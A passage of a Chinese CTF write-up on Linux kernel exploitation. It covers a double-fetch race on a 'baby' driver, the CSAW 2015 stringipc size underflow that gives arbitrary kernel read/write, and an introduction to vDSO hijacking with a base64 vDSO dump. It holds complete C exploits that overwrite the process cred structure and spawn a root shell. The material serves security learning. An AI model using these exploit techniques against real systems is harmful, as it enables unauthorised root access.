v6 = (data *)v3;
if ( ctl_idx == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( ctl_idx == 0x1337
&& !_chk_range_not_ok(v3, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x1358))
&& !_chk_range_not_ok(
v6->buf,
v6->flag_len,
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x1358))
&& v6->flag_len == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( v6->buf[i] != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
模块有两个功能,一个是打印 flag 的地址(位于 kernel 中),另一个是将 flag 与 传入的结构体中的数据进行比较,若字符串完全相同,则输出 flag。
数据格式:
struct data{
char *buf;
size_t len;
};
_chk_range_not_ok
一个检测目标地址是否在内核范围的函数,防止对内核内存进行非法访问
思路1
程序通过指针的方式传入 data 结构体,buf 则是一个被指向的对象。
程序检验 buf 指针位置,与 buf 进行逐字节比较的操作是有着先后顺序的。
- 先进行范围判断
- 再进行比较
获取到以上两个信息之后,我们就可以推测出此模块有 double fetch 漏洞。
double fetch
又称条件竞争。是在多个线程同时操作一个共享的变量时,由于变量的异常性更改从而导致条件判断被引入错误的控制流的一种攻击方式。
这道题如果我们将 buf 指针不断地进行更改,在 内核范围 与 用户范围 中切换,那么就有一个幸运的时刻,某个线程成功 利用用户范围的 buf 跳过了 范围检测,并利用内核中的flag 跳过相等判断的过程,从而输出 flag。
exp
开了一个线程,进行无限次的循环,企图将 buf 地址改为 flag 地址。
同时主进程又不断地将 buf 改为用户态地址,两者条件竞争。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define DEV_NAME "/dev/baby"
#define TRYTIME 0x1000
struct data{
char *buf;
size_t len;
};
char* flag_addr;
int finish = 0;
char s[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}";
void* run_thread(struct data* a){
while(!finish){
printf("{==DBG==} change addr to flag_addr\n");
a->buf = flag_addr;
}
}
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
int fd = open(DEV_NAME, 0); // open device
struct data arg;
arg.len = 33;
arg.buf = s;
printf("input flag_addr:");
scanf("%px", &flag_addr);
printf("{==DBG==} get addr: %p\n", flag_addr);
pthread_t tid;
pthread_create(&tid, NULL, run_thread, &arg);
for(int i = 0; i < TRYTIME; i++){
arg.buf = s;
int ret = ioctl(fd, 0x1337, &arg);
if(ret != 0)
printf("{==DBG==} addr: %p\n", arg.buf);
else{
printf("\n\n\ngetflag success.\n\n\n");
break;
}
if(i == TRYTIME - 1){
printf("\n\n\ntime expired.\n\n\n");
break;
}
}
finish = 1;
pthread_join(tid, NULL);
close(fd);
}
思路2
上面已经讨论了,内核模块会对每个字节进行检验,查看它是否符合要求。
kernel space
------------------------------------------
flag{This_is_the_real_flag_in_kernel!}
------------------------------------------
kernel space
user space
------------------------------------------
flag{11112222333344445555666677778888}
------------------------------------------
user space
既然它会逐字节比较,那么我们可以办法来进行爆破,用一个肉眼可见的方式泄露每个字节的信息。
这种方法被称为侧信道攻击
我们可以在 user space mmap 三块内存
------------------------------------------
memory that can't be read
------------------------------------------
test_flag
------------------------------------------
memory that can't be read
------------------------------------------
上下两块内存的权限设置为不可访问,那么即使内核访问到了它,也会直接触发错误。
我们将 flag 需要比较的那一个字节,放在最靠近不可读内存区的位置
使用内核模块进行比较:
- 比较不相等,程序会退出,不会触发任何错误
- 比较相等,内核会继续读取下一个字节,这时触碰到了不可读内存,内核抛出错误,程序结束
这是一种比较取巧的方式
todo: 攻击exp
CSAW-2015-CTF stringipc
stringipc.ko
里面实现了七个功能,分别是创建、打开、扩展、缩小、写入、读取、关闭 channel(kernel 内部实现的一个结构体)
file 里面是一个存有 channel 信息的结构体,每次打开 channel 都会从中获取相关数据。
通过 ioctl 传递 arg 结构体 给内核模块,内核模块就可以读取相应的参数来执行对应的函数,具体的传入方式可以看我 f5 中的注释。
这个内核模块比较难的一点就是逆向,因为各个结构体中参数的大小不一,涉及到对齐相关的知识,所以反编译分析需要全部手修,这部分稍微麻烦一点,不过漏洞本身还是比较简单的。
void *__fastcall csaw_ioctl(file *file, __int64 cmd, char *arg)
{
char *arg_0; // rdx
ipc_state *v4; // r12
char *v5; // r14
__int64 off; // rsi
signed __int64 v7; // r13
signed __int64 v8; // rbx
ipc_channel *v9; // rax
void *result; // rax
ipc_channel *v11; // rax
signed __int64 v12; // r12
size_t mode; // rdx
void *v14; // rsi
ipc_channel *v15; // rax
ipc_channel *v16; // rax
loff_t v17; // rdi
ipc_channel *channel; // [rsp+0h] [rbp-50h]
angrs ioctl_arg; // [rsp+8h] [rbp-48h]
unsigned __int64 v20; // [rsp+20h] [rbp-30h]
_fentry__(file);
v4 = (ipc_state *)file->private_data;
v20 = __readgsqword(0x28u);
v5 = arg_0;
switch ( (_DWORD)cmd )
{
case 0x77617364: // alloc
//
// struct __attribute__((aligned(8))) alloc_channel_args
// {
// size_t buf_size;
// int id;
// };
//
// 申请 channel 并返回 id
off = (__int64)arg_0;
if ( copy_from_user((char *)&ioctl_arg, arg_0, 0x10LL) )
goto fail;
v7 = (signed __int64)&v4->lock;
v8 = -16LL;
mutex_lock(&v4->lock);
if ( !v4->channel )
{
off = (__int64)&channel;
v8 = alloc_new_ipc_channel((size_t)ioctl_arg.angr1, &channel);
if ( v8 >= 0 )
{
off = (__int64)&ioctl_arg;
v4->channel = channel;
LODWORD(ioctl_arg.angr2) = channel->id;
if ( copy_to_user(v5, (char *)&ioctl_arg, 0x10) )
{
v8 = -22LL;
off = (unsigned int)channel->id;
close_ipc_channel(v4, off);
}
}
}
goto LABEL_9;
case 0x77617365: // open
//
// struct open_channel_args
// {
// int id;
// };
//
off = (__int64)arg_0;
if ( copy_from_user((char *)&ioctl_arg, arg_0, 4LL) )
goto fail;
v7 = (signed __int64)&v4->lock;
v8 = -16LL;
mutex_lock(&v4->lock);
if ( v4->channel )
goto LABEL_9;
v11 = get_channel_by_id((ipc_state *)LODWORD(ioctl_arg.angr1), (__int64)v5);
v8 = (signed __int64)v11;
if ( (unsigned __int64)v11 > 0xFFFFFFFFFFFFF000LL )
goto LABEL_9;
v4->channel = v11;
if ( !_InterlockedSub(&v11->ref.refcount.counter, 1u) )
ipc_channel_destroy(&v11->ref);
v8 = 0LL;
mutex_unlock(&v4->lock, v5);
goto normal_quit;
case 0x77617366: // grow
//
// struct grow_channel_args
// {
// int id;
// size_t size;
// };
//
if ( copy_from_user((char *)&ioctl_arg, arg_0, 0x10LL) )
goto fail;
v12 = (signed __int64)&v4->lock;
mutex_lock(v12);
mode = 1LL; // difference
goto LABEL_25;
case 0x77617367: // shrink
//
// struct shrink_channel_args
// {
// int id;
// size_t size;
// };
//
if ( copy_from_user((char *)&ioctl_arg, arg_0, 0x10LL) )
goto fail;
v12 = (signed __int64)&v4->lock;
mutex_lock(v12);
mode = 0LL; // difference
LABEL_25:
v14 = ioctl_arg.angr2;
v8 = (signed int)realloc_ipc_channel(LODWORD(ioctl_arg.angr1), (__int64)ioctl_arg.angr2, mode);
mutex_unlock(v12, v14);
goto normal_quit;
case 0x77617368: // read
//
// struct read_channel_args
// {
// int id;
// char *buf;
// size_t count;
// };
//
// 从 id channel 读取 count 个字符到 buf
off = (__int64)arg_0;
if ( copy_from_user((char *)&ioctl_arg, arg_0, 0x18LL) )
goto fail;
v7 = (signed __int64)&v4->lock;
mutex_lock(&v4->lock);
v15 = v4->channel;
v8 = (signed __int64)ioctl_arg.angr3;
if ( !v4->channel )
goto LABEL_41;
off = v15->index; // start_at
if ( (unsigned __int64)ioctl_arg.angr3 + off > v15->buf_size )
goto fail_0;
off += *(_QWORD *)(&v15->id + 1);
if ( copy_to_user((char *)ioctl_arg.angr2, (char *)off, (int)ioctl_arg.angr3) )
goto fail_0;
goto LABEL_9;
case 0x77617369: // write
//
// struct write_channel_args
// {
// int id;
// char *buf;
// size_t count;
// };
//
if ( copy_from_user((char *)&ioctl_arg, arg_0, 0x18LL) )
goto fail;
v7 = (signed __int64)&v4->lock;
mutex_lock(&v4->lock);
v16 = v4->channel;
v8 = (signed __int64)ioctl_arg.angr3;
off = (__int64)ioctl_arg.angr2;
if ( !v4->channel )
{
LABEL_41:
v8 = -6LL;
goto LABEL_9;
}
v17 = v16->index;
if ( (unsigned __int64)ioctl_arg.angr3 + v17 > v16->buf_size
|| strncpy_from_user(*(_QWORD *)(&v16->id + 1) + v17, ioctl_arg.angr2, ioctl_arg.angr3) < 0 )
{
goto fail_0;
}
goto LABEL_9;
case 0x7761736A: // seek
//
// struct __attribute__((aligned(8))) seek_channel_args
// {
// int id;
// loff_t index;
// int whence;
// };
//
off = (__int64)arg_0;
if ( copy_from_user((char *)&ioctl_arg, arg_0, 0x18LL) )
goto fail;
v7 = (signed __int64)&v4->lock;
v8 = -6LL;
mutex_lock(&v4->lock);
v9 = v4->channel;
if ( !v4->channel )
goto LABEL_9;
if ( LODWORD(ioctl_arg.angr3) )
{
if ( LODWORD(ioctl_arg.angr3) == 1 )
{
v8 = v9->index;
goto LABEL_9;
}
goto fail_0;
}
v8 = (signed __int64)ioctl_arg.angr2;
if ( (void *)v9->buf_size <= ioctl_arg.angr2 )// 如果 seek 的位置比 本身的大小还大,就结束
{
fail_0:
v8 = -22LL;
goto LABEL_9;
}
v9->index = (loff_t)ioctl_arg.angr2;
LABEL_9:
mutex_unlock(v7, off);
normal_quit:
while ( 1 )
{
result = (void *)v8;
if ( __readgsqword(0x28u) == v20 )
break;
RET_UNLOCK:
v8 = 0LL;
}
return result;
case 0x7761736B: // close
//
// struct close_channel_args
// {
// int id;
// };
//
if ( !copy_from_user((char *)&ioctl_arg, arg_0, 4LL) )
{
v7 = (signed __int64)&v4->lock;
mutex_lock(&v4->lock);
off = LODWORD(ioctl_arg.angr1);
v8 = (signed int)close_ipc_channel(v4, LODWORD(ioctl_arg.angr1));
goto LABEL_9;
}
fail:
v8 = -22LL;
goto normal_quit;
default:
goto RET_UNLOCK;
}
}
在 realloc_ipc_channel
函数中,程序对传入的 size 变量 +1,用 krealloc
来调整 channel 的大小:
ipc_channel *__cdecl realloc_ipc_channel(__int64 id, __int64 off, size_t mode)
{
int v3; // edx
int mode_1; // er13
ipc_channel *result; // rax
ipc_channel *v6; // rbx
size_t new_size; // r12
__int64 v8; // rax
_fentry__(id);
mode_1 = v3;
result = get_channel_by_id((ipc_state *)id, off);
v6 = result;
if ( (unsigned __int64)result <= 0xFFFFFFFFFFFFF000LL )
{
if ( mode_1 )
new_size = result->buf_size + off;
else
new_size = result->buf_size - off;
v8 = krealloc(*(void **)(&result->id + 1), new_size + 1, 0x24000C0u);
if ( v8 )
{
*(_QWORD *)(&v6->id + 1) = v8;
v6->buf_size = new_size; // v8 = -1 负整数溢出
if ( _InterlockedSub(&v6->ref.refcount.counter, 1u) )
{
result = 0LL;
}
else
{
ipc_channel_destroy(&v6->ref);
result = 0LL;
}
}
else
{
result = (ipc_channel *)0xFFFFFFEALL;
}
}
return result;
}
我们看到 v6->buf_size = new_size;
实际上结构体中存储的 channel_size 并没有加一,所以如果我们让 channel_size = -1,那么 realloc(0) 就会弹回一个 NULL 指针(这个可以在源码中看到)。
就造成了一个任意地址读写的漏洞。因为 size == -1 == 0xffffffffffffffff,正好 *p = NULL,那么我们 SEEK 到任何位置的内存都能被内核模块读取或者写入。
cred 结构体攻击
我们通过之前的题目了解到,只要能够劫持 cred 结构体,那么一个进程的所有权限都是可以被修改的。
cred.h
cred.h 定义可以查阅以下链接:
prctl
那么我们应该如何找到这个结构体呢?不像之前的题目可以通过大小和堆喷的方式来劫持结构体。
这个时候我们要用到 prctl(PR_SET_NAME, signature);
函数
这个函数会在 task_struct
的 comm[] 中写入 16 bytes 的数据:
为什么需要这个函数呢?因为:
comm 是我们刚刚写入的字符串,而其上就是 cred 结构体的位置。
所以我们可以爆破整个内存来寻找它,从而确定 cred 的地址。
然后就是覆盖 cred 的基本操作了,不再赘述。
exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#define DEV_NAME "/dev/csaw"
#define OPCODE 0x77617363
#define CSAW_ALLOC OPCODE+1
#define CSAW_OPEN OPCODE+2
#define CSAW_GROW OPCODE+3
#define CSAW_SHRINK OPCODE+4
#define CSAW_READ OPCODE+5
#define CSAW_WRITE OPCODE+6
#define CSAW_SEEK OPCODE+7
#define CSAW_CLOSE OPCODE+8
#define ERROR(s) while(1){printf("%s failed!\n", s); return -1;}
struct arg{
size_t arg[4];
};
int fd;
//char buf[0x1100];
int csaw_alloc_func(size_t size){
struct arg t;
t.arg[0] = size;
ioctl(fd, CSAW_ALLOC, &t);
return t.arg[1];
}
int csaw_open_func(int id){
struct arg t;
t.arg[0] = id;
return ioctl(fd, CSAW_OPEN, &t);
}
int csaw_grow_func(int id, size_t size){
struct arg t;
t.arg[0] = id;
t.arg[1] = size;
return ioctl(fd, CSAW_GROW, &t);
}
int csaw_shrink_func(int id, size_t size){
struct arg t;
t.arg[0] = id;
t.arg[1] = size;
return ioctl(fd, CSAW_SHRINK, &t);
}
int csaw_read_func(int id, char* buf, size_t count){
struct arg t;
t.arg[0] = id;
t.arg[1] = buf;
t.arg[2] = count;
return ioctl(fd, CSAW_READ, &t);
}
int csaw_write_func(int id, char* buf, size_t count){
struct arg t;
t.arg[0] = id;
t.arg[1] = buf;
t.arg[2] = count;
return ioctl(fd, CSAW_WRITE, &t);
}
int csaw_seek_func(int id, loff_t offset, int whence){
/* there is some problem with addr
if I seek addr=0x10, program will read data at 0x20*/
struct arg t;
t.arg[0] = id;
t.arg[1] = offset-0x10;
t.arg[2] = whence;
return ioctl(fd, CSAW_SEEK, &t);
}
int csaw_close_func(int id){
struct arg t;
t.arg[0] = id;
return ioctl(fd, CSAW_CLOSE, &t);
}
int main(){
// set signature
int fd_random = open("/dev/urandom", O_RDONLY);
char signature[16];
char t;
unsigned int tt;
char table[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ%=";
for(int i = 0; i < 15; i++){
read(fd_random, &t, 1);
tt = t;
signature[i] = table[tt%63];
}
signature[15] = 0;
setvbuf(stdout, 0LL, 2, 0LL);
printf("signature: %s\n", signature);
prctl(PR_SET_NAME, signature);
// signature must end as '\x00' or it will not be stored in to memory properly
char *buf = malloc(0x1000);
fd = open(DEV_NAME, O_RDWR); // open device
if(fd < 0){
ERROR("open device");
}else printf("[+] open device at fd: %d\n", fd);
int id = csaw_alloc_func(0x100);
if(id < 0){
ERROR("alloc id");
}else printf("[+] alloc channel id: %d\n", id);
//printf("open func: %d\n", csaw_open_func(id));
if(csaw_shrink_func(id, 0x101) != 0){
ERROR("shink channel");
}else puts("[+] channel shink success!");
// now channel size is -1(INF)
puts("\nI can write/read anywhere now.\n");
puts("start searching signature in kernel...");
for(size_t addr = 0xffff880000000000; addr < 0xffffc80000000000; addr += 0x1000){
csaw_seek_func(id, addr, SEEK_SET);
csaw_read_func(id, buf, 0x1000);
size_t res = memmem(buf, 0x1000, signature, 0x10);
if(res){
//printf("[+] found signature at 0x%lx! offset=0x%lx\n", addr, res-(int)(buf));
size_t found = addr + res-(int)(buf);
//printf("[+] found signature at 0x%lx!\n", found);
size_t cred, real_cred;
cred = *(size_t*)(res-8);
real_cred = *(size_t*)(res-16);
/*/csaw_seek_func(id, found - 0x8, SEEK_SET);
csaw_read_func(id, &cred, 0x8);
csaw_seek_func(id, found - 0x10, SEEK_SET);
csaw_read_func(id, &real_cred, 0x8);*/
puts("");
printf("cred: 0x%lx, real_cred: 0x%lx\n", cred, real_cred);
if(cred != real_cred){
printf("[*] found a signature at 0x%lx but is not expected. \n", found);
//getchar();
continue;
}
printf("[+] found signature at 0x%lx!\n", found);
printf("[+] cred struct is at 0x%lx!\n", cred);
memset(buf, 0, 4*8);
//buf[0] = buf[1] = '\xdd';
for(int i = 0; i < 4*8; i++){
csaw_seek_func(id, cred+4+i, SEEK_SET);
csaw_write_func(id, buf+i, 1);
}
int uid = getuid();
if(uid == 0){
puts("[+] now you're root!");
//getchar();
system("/bin/sh");
}
//getchar();
break;
}
}
close(fd); // free buf
}
vdso 劫持
介绍
VDSO (Virtual Dynamically-linked Shared Object),是一个内核机制,它通过将内核的某块区域映射到用户态,从而实现用户快速调用内核态的相应函数的目的。通过该机制,系统调用的速度将会大大提高,不过并不是所有函数都享受这样的待遇的,只有几个频繁使用的函数才会被放入其中。
function list:
- clock_gettime
- gettimeofday
- time
- getcpu
vdso 劫持,就是把 vdso 的某个函数修改为 反弹 shell 相关代码,在用户态调用相应函数,就会触发反弹shell。
dump vdso
由于每个内核的 vdso 偏移都有所不同,所以我们需要 dump vdso,拖入 ida 进行分析
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
int main(){
int fd = fopen("vdso_dump.txt", "w");
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
if (sysinfo_ehdr!=0){
for (int i=0;i<0x2000;i+=1){
fprintf(fd, "%c",*(unsigned char *)(sysinfo_ehdr+i));
}
}
fclose(fd);
}
利用如下命令将 vdso 转换为 base64:
/ $ base64 ./dump_vdso
/ $ base64 vdso_dump.txt
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAQAkAAAAAAABAAAAAAAAAAEgPAAAAAAAAAAAAAEAAOAAE
AEAAEQAQAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaQ4AAAAAAABpDgAAAAAAAAAQ
AAAAAAAAAgAAAAQAAABgAwAAAAAAAGADAAAAAAAAYAMAAAAAAAAQAQAAAAAAABABAAAAAAAACAAA
AAAAAAAEAAAABAAAALAHAAAAAAAAsAcAAAAAAACwBwAAAAAAADwAAAAAAAAAPAAAAAAAAAAEAAAA
AAAAAFDldGQEAAAA7AcAAAAAAADsBwAAAAAAAOwHAAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAA
AAAAAwAAAAsAAAAFAAAABAAAAAcAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAoAAAACAAAABgAAAAAA
AAADAAAACQAAAAMAAAACAAAAAQAAAAYAAACBNDABRmUAgQIAAAAGAAAACAAAAH5V3XEAyhuwhkuF
5g2OHoKUeJ58GaNDbooqxiYmsGJlbViH/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAgA
cAQAAAAAAAAAAAAAAAAAAAgAAAAiAAwAEAoAAAAAAABrAgAAAAAAABYAAAASAAwAgAwAAAAAAABb
AQAAAAAAAB0AAAAiAAwAgAwAAAAAAABbAQAAAAAAACoAAAASAAwA4A0AAAAAAAAVAAAAAAAAADEA
AAAiAAwA4A0AAAAAAAAVAAAAAAAAAAEAAAASAAwAEAoAAAAAAABrAgAAAAAAAFQAAAARAPH/AAAA
AAAAAAAAAAAAAAAAADYAAAASAAwAAA4AAAAAAAApAAAAAAAAAD0AAAAiAAwAAA4AAAAAAAApAAAA
AAAAAABfX3Zkc29fY2xvY2tfZ2V0dGltZQBfX3Zkc29fZ2V0dGltZW9mZGF5AF9fdmRzb190aW1l
AF9fdmRzb19nZXRjcHUAbGludXgtdmRzby5zby4xAExJTlVYXzIuNgAAAAAAAgACAAIAAgACAAIA
AgACAAIAAAAAAAEAAQABAAEAob/uDRQAAAAcAAAARAAAAAAAAAABAAAAAgABAPZ1rgMUAAAAAAAA
AFQAAAAAAAAADgAAAAAAAABEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAACABAAAAAAAA
9f7/bwAAAABgAQAAAAAAAAUAAAAAAAAAsAIAAAAAAAAGAAAAAAAAAKgBAAAAAAAACgAAAAAAAABe
AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAD8//9vAAAAACgDAAAAAAAA/f//bwAAAAACAAAAAAAAAPD/
/28AAAAADgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
